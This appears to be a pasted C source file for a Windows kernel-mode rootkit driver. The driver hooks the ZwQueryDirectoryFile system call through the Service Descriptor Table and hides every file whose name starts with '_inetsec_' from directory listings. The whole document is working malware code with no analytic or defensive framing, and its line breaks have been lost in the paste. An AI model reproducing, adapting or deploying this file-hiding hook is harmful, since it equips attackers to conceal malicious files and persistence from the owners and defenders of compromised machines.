rendered paste body#include "ntddk.h"/* preprocessor */#pragma pack(1)typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase;} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;#pragma pack()__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]PMDL g_pmdlSystemCall;PVOID *MappedSystemCallTable;#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)/* typedefs */ typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1];} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)( HANDLE FileHandle, HANDLE Event , PIO_APC_ROUTINE ApcRoutine , PVOID ApcContext OPTIONAL, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass, BOOLEAN ReturnSingleEntry, PUNICODE_STRING FileName OPTIONAL, BOOLEAN RestartScan);/* prototypes */NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath );VOID OnUnload( IN PDRIVER_OBJECT DriverObject ); NTSYSAPINTSTATUSNTAPI ZwQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event , IN PIO_APC_ROUTINE ApcRoutine , IN PVOID ApcContext , OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName , IN BOOLEAN RestartScan );NTSTATUS NewZwQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event , IN PIO_APC_ROUTINE ApcRoutine , IN PVOID ApcContext , OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName , IN BOOLEAN RestartScan);/* variables */ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile;/** functions */ NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ){ DbgPrint("I loaded!"); theDriverObject->DriverUnload = OnUnload; // save old system call locations OldZwQueryDirectoryFile =(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)); // Map the memory into our domain so we can change the permissions on the MDL g_pmdlSystemCall = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // Change the flags of the MDL g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); // hook system calls HOOK_SYSCALL( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile ); return STATUS_SUCCESS;}VOID OnUnload( IN PDRIVER_OBJECT DriverObject ){ DbgPrint("OnUnload called\n"); // unhook system calls UNHOOK_SYSCALL( ZwQueryDirectoryFile, OldZwQueryDirectoryFile, NewZwQueryDirectoryFile ); // Unlock and Free MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); }}NTSTATUS NewZwQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event , IN PIO_APC_ROUTINE ApcRoutine , IN PVOID ApcContext , OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName , IN BOOLEAN RestartScan) { /** variables */ NTSTATUS ntstatus = -1; FILE_BOTH_DIR_INFORMATION *file_list = (FILE_BOTH_DIR_INFORMATION *) FileInformation; FILE_BOTH_DIR_INFORMATION *file_list_next = NULL; const WCHAR hide[] = L"_inetsec_"; ULONG hide_size = 18; ULONG buffer_length_remaining= Length; WCHAR *filename = (WCHAR *)&file_list->FileName; char *remaining ; /*call original function*/ ntstatus = OldZwQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); if (3 != FileInformationClass) { DbgPrint("rk: early goodbye, wrong info class"); return ntstatus; } if (0 == ntstatus) { while (file_list != NULL) { remaining = (char *)file_list + file_list->NextEntryOffset; buffer_length_remaining -= file_list->NextEntryOffset; filename = (WCHAR *)&file_list->FileName; DbgPrint("%S", file_list->FileName); DbgPrint("inesec:%d filename:%d", hide_size, file_list->FileNameLength); if (file_list->FileNameLength >= hide_size) if ( (0 == memcmp( (VOID *) filename , (VOID *) hide , hide_size)) ) // && (FILE_ATTRIBUTE_DIRECTORY == ((PFILE_BOTH_DIR_INFORMATION)file_list)->FileAttributes)) { DbgPrint ("rk: Hiding a file"); if (0 == file_list->NextEntryOffset) { if (file_list == FileInformation) { DbgPrint("exactly one file"); /*first and only entry*/ ntstatus = 0x80000006; } else { DbgPrint("Last File"); /*end list here redundant*/ file_list->NextEntryOffset = 0; break; } } else { /*hide this entry - copy all remaing from buffer to this*/ DbgPrint("rk: current: %x remaining: %x length: %d", file_list, remaining, buffer_length_remaining ); memcpy ((VOID *)file_list, remaining, buffer_length_remaining); continue; } } file_list_next = (FILE_BOTH_DIR_INFORMATION *) ((char *)file_list + file_list->NextEntryOffset); if (0 != file_list->NextEntryOffset ) file_list = file_list_next; else file_list = NULL; } } return ntstatus; }